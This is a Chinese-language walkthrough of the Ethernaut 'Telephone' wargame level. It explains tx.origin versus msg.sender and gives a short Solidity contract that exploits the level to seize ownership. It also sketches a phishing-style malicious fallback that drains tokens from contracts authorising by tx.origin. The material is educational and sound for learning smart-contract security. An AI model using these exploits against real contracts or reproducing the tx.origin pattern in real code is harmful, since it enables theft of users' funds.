4. Telephone

Chain: Goerli
Difficulty: ●○○○○
Level: https://ethernaut.openzeppelin.com/level/0x466BDd41a04473A01031C9D80f61A9487C7ef488

通关要求

创建当前关卡合约实例后,调用 await contract.owner() 发现 owner 并不是当前钱包地址。那通过要求就是将 owner 变更为当前钱包。

分析合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

constructor 构造函数中可以看出,owner 是通过 msg.sender 进行初始化。

changeOwner 函数中只有 tx.originmsg.sender 不相等时,才将 owner 赋值。

至此,引出两个不同的变量 tx.originmsg.sender

tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是 tx.origin

msg.sender :指直接调用智能合约功能的帐户或智能合约的地址。

当以智能合约调用智能合约时,msg.sender 在被调用的智能合约中,会是调用者智能合约的地址,而 tx.origin 则是最初调用智能合约的个人钱包地址。

所以,在创建当前关卡合约实例时,是通过关卡合约进行创建,当部署 Telephone 这个合约时,msg.sender 的值为当前关卡合约地址,而不是当前钱包地址。

解题实现

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 Telephone.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface ITelephone {
    function changeOwner(address _owner) external;
    }

    contract Telephone {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function changeOwner() public {
    ITelephone(levelInstance).changeOwner(msg.sender);
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 changeOwner 函数,完成关卡。

后记

这个例子比较简单, 混淆 tx.origin 和 msg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.

    1
    2
    3
    4
    function transfer(address _to, uint _value) {
    tokens[tx.origin] -= _value;
    tokens[_to] += _value;
    }
  2. 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如

    1
    2
    3
    function () payable {
    token.transfer(attackerAddress, 10000);
    }
  3. 在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.